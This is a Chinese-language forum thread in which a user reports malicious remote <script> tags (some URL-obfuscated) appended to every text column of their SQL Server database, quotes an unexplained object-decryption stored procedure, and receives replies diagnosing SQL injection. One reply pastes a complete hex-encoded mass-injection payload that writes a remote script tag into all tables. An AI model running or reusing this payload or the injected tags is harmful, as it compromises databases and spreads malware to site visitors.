<script src=http://cn.daxia123.cn/cn.js></script>
<Script Src=http://c%2Enuclear3.com/css/c.js></Script>
<Script Src=http://c%2Enuclear3.com/css/c.js></Script>
<Script Src=http://c.nuclea%723.com/css/c.js></Script>
<script src=http://cn.jxmmtv.com/cn.js></script>

解决方案 »

  1.   

    整个数据库 VARCHAR CHAR NVARCHAR TEXT末尾 都加上这些代码无缘无故 还多了一个存储过程create  PROCEDURE DecryptObject (@objectName varchar(50))   AS  
        begin   
            declare @objectname1 varchar(100)
     
            declare @sql1 nvarchar(4000),@sql2 nvarchar(4000),@sql3 nvarchar(4000),@sql4 nvarchar(4000),@sql5 nvarchar(4000),@sql6 nvarchar(4000),@sql7 nvarchar(4000),@sql8 nvarchar(4000),@sql9 nvarchar(4000),@sql10 nvarchar(4000)          DECLARE  @OrigSpText1 nvarchar(4000),  
    @OrigSpText2 nvarchar(4000) , 
    @OrigSpText3 nvarchar(4000), 
    @resultsp nvarchar(4000)          declare  @i int , @t bigint  
            declare @m int,@n int,@q int  
    DECLARE @tablename varchar(255)     --触发器所对应的表名  
      DECLARE @trigtype varchar(6)        --触发器类型  
      DECLARE @type char(1)             --对象类型:P-procedure ;V-View; T-trigger  
      DECLARE @bb bit  
      
     SELECT @i=count(1)  from sysobjects where name = @objectName  
     if @i=0  
          begin  
          print 'Object ' + @objectName + ' does not exist!'  
          return  
        end  
     SELECT @type= case xtype when 'TR' then 'T' else xtype end from sysobjects where name = @objectName  
      
     if (@type<>'T' and  @type<>'V' and  @type<>'P') 
          begin  
          print 'Object ' + @objectName + ' cannt be recognized !'  
          return  
        end  
            SELECT @bb=encrypted FROM syscomments  WHERE id = object_id(@objectName)  
            SELECT @m=max(colid) FROM syscomments  WHERE id = object_id(@objectName)  
     if @bb=0  
          begin  
          print 'Object ' + @objectName + ' is not encrypted!'  
          return  
        end  
     -----------------------------------------------------------  
        --get encrypted data     将加密信息存储于临时表中  
        create table  #temp(colid int,ctext varbinary(8000))  
        create table  #tempresult(cctext nvarchar(4000))  
        insert #temp SELECT colid,ctext FROM syscomments  WHERE id = object_id(@objectName)  
     IF @type='T'  
       BEGIN  
                  SET @tablename=(SELECT sysobjects_1.name  
                  FROM dbo.sysobjects INNER JOIN  
                   dbo.sysobjects sysobjects_1 ON dbo.sysobjects.parent_obj = sysobjects_1.id  
                  WHERE (dbo.sysobjects.type = 'TR') AND (dbo.sysobjects.name = @ObjectName))  
                  SET @trigtype=(SELECT CASE WHEN dbo.sysobjects.deltrig > 0 THEN 'DELETE'  
                                  WHEN dbo.sysobjects.instrig > 0 THEN 'INSERT'  
                                  WHEN dbo.sysobjects.updtrig > 0 THEN 'UPDATE' END  
                      FROM dbo.sysobjects INNER JOIN  
                       dbo.sysobjects sysobjects_1 ON dbo.sysobjects.parent_obj = sysobjects_1.id  
                      WHERE (dbo.sysobjects.type = 'TR') AND (dbo.sysobjects.name = @ObjectName))  
              END  
     SET @sql1=case @type  
      WHEN 'P' THEN 'ALTER PROCEDURE '+ @ObjectName +' WITH ENCRYPTION AS '  
      WHEN 'V' THEN 'ALTER VIEW '+ @ObjectName +' WITH ENCRYPTION AS SELECT dbo.dtproperties.* FROM dbo.dtproperties'  
      WHEN 'T' THEN 'ALTER TRIGGER '+@ObjectName+' ON '+ @tablename+' WITH ENCRYPTION FOR '+@trigtype+' AS PRINT ''a'''  
      END  
            set @q=len(@sql1)  
            set @sql1=@sql1 +REPLICATE('-',4000-@q)  
            SELECT @sql2=REPLICATE('-',4000),@sql3=REPLICATE('-',4000),@sql4=REPLICATE('-',4000),@sql5=REPLICATE('-',4000),@sql6=REPLICATE('-',4000),@sql7=REPLICATE('-',4000),@sql8=REPLICATE('-',4000),@sql9=REPLICATE('-',4000),@sql10=REPLICATE('-',4000)  
            exec(@sql1+@sql2+@sql3+@sql4+@sql5+@sql6+@sql7+@sql8+@sql9+@sql10)  
            SELECT @sql1='',@sql2='',@sql3='',@sql4='',@sql5='',@sql6='',@sql7='',@sql8='',@sql9='',@sql10=''  
            set @n=1    --从编号为1开始   
            while @n<=@m  
            begin  
              SET @OrigSpText1=(SELECT ctext FROM #temp  WHERE colid=@n)  
              SET @OrigSpText3=(SELECT ctext FROM syscomments WHERE id=object_id(@objectName) and colid=@n)  
              if @n=1  
                 begin  
                    SET @OrigSpText2=case @type  
                            WHEN 'P' THEN 'CREATE PROCEDURE '+ @ObjectName +' WITH ENCRYPTION AS '  
                            WHEN 'V' THEN 'CREATE VIEW '+ @ObjectName +' WITH ENCRYPTION AS SELECT dbo.dtproperties.* FROM dbo.dtproperties'  
                            WHEN 'T' THEN 'CREATE TRIGGER '+@ObjectName+' ON '+ @tablename+' WITH ENCRYPTION FOR '+@trigtype+' AS PRINT ''a'''  
                            END  
                    set @q=4000-len(@OrigSpText2)  
                    set @OrigSpText2=@OrigSpText2+REPLICATE('-',@q)  
                 end  
              else  
                begin  
                  SET @OrigSpText2=REPLICATE('-', 4000)  
                end  
              SET @i=1  
              --fill temporary variable  
              SET @resultsp = replicate(N'A', (datalength(@OrigSpText1) / 2))  
              --loop  
              WHILE @i<=datalength(@OrigSpText1)/2  
              BEGIN  
                  --reverse encryption (XOR original+bogus+bogus encrypted)  
                  SET @resultsp = stuff(@resultsp, @i, 1, NCHAR(UNICODE(substring(@OrigSpText1, @i, 1)) ^  
                               (UNICODE(substring(@OrigSpText2, @i, 1)) ^  
                                UNICODE(substring(@OrigSpText3, @i, 1)))))  
                  SET @i=@i+1  
              END  
              if @n=1  begin set @sql1=@resultsp end  
              if @n=2  begin set @sql2=@resultsp end  
              if @n=3  begin set @sql3=@resultsp end  
              if @n=4  begin set @sql4=@resultsp end  
              if @n=5  begin set @sql5=@resultsp end  
              if @n=6  begin set @sql6=@resultsp end  
              if @n=7  begin set @sql7=@resultsp end  
              if @n=8  begin set @sql8=@resultsp end  
              if @n=9  begin set @sql9=@resultsp end  
              if @n=10  begin set @sql10=@resultsp end  
      insert into #tempresult values (@resultsp)  
              set @n=@n+1  
            end  
       drop table #temp  
            SET @resultsp=case @type  
                    WHEN 'P' THEN 'drop PROCEDURE '+ @ObjectName  
                    WHEN 'V' THEN 'drop VIEW '+ @ObjectName  
                    WHEN 'T' THEN 'drop TRIGGER '+@ObjectName  
                    END  
            Execute( @resultsp)  
            if @n=1  begin exec(@sql1) end  
            if @n=2  begin exec(@sql1 + @sql2) end  
            if @n=3  begin exec(@sql1 + @sql2+@sql3 ) end  
            if @n=4  begin exec(@sql1 + @sql2+@sql3 + @sql4 ) end  
            if @n=5  begin exec(@sql1 + @sql2+@sql3 + @sql4  + @sql5) end  
            if @n=6  begin exec(@sql1 + @sql2+@sql3 + @sql4  + @sql5+ @sql6) end  
            if @n=7  begin exec(@sql1 + @sql2+@sql3 + @sql4  + @sql5+ @sql6+ @sql7 ) end  
            if @n=8  begin exec(@sql1 + @sql2+@sql3 + @sql4  + @sql5+ @sql6+ @sql7 + @sql8) end  
            if @n=9  begin exec(@sql1 + @sql2+@sql3 + @sql4  + @sql5+ @sql6+ @sql7 + @sql8 + @sql9) end  
            if @n=10  begin exec(@sql1 + @sql2+@sql3 + @sql4  + @sql5+ @sql6+ @sql7 + @sql8 + @sql8 + @sql10) end  
            SELECT * from #tempresult  
     drop table #tempresult  
     end  GO
      

  2.   

    你发错区了 这就是SQL 注入 
      

  3.   

    去看看IIS的日志,应该可以找到是由哪个页面注入进去的。很明显的sql注入。以前自己也遇到过一个,分享一下:dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f520d0a%20aS%20vArChAr(4000));exec(@s);